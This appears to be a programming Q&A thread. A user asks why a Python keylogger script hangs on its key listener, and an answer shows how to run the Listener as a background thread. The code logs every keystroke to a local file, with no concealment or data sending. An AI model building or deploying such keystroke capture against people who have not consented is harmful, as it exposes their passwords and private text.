sam_sep1ol
sam_sep1ol

Reputation: 27

python script gets stuck on keylogger listner

the keylogger is getting stuck on listening for keys i tried putting the listening part in another script but it wasnt practical, is it possible to utilise threading for this?

log_dir = ""

logging.basicConfig(filename=(log_dir + 'keylogs.txt'), \
    level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as lister:
    lister.join()

path = r'C:\Users\Jacob\Desktop\keylogger\keylogs.txt'
f = open((path), 'r', encoding = 'utf-8')
file = f.readlines()

Upvotes: -1

Views: 94

Answers (1)

furas
furas

Reputation: 142982

If you want to do something when Listener is running then you have to do before .join() because it waits for end of listener.

with Listener(on_press=on_press) as lister:

    # ... your code ...

    lister.join()

Listener already uses threading to run code so you don't have to run it in Thread and you can write it in similar way to threading

lister = Listener(on_press=on_press)  # create thread
lister.start()                        # start thread
  
# ... your code ...

lister.join()                         # wait for end of thread

BTW:

It has also all other functions from normal Thread - ie. lister.is_alive() to check if Listener is still running.

In opposite to normal Thread it has also command lister.stop() to stop this Listener

Upvotes: 1

Related Questions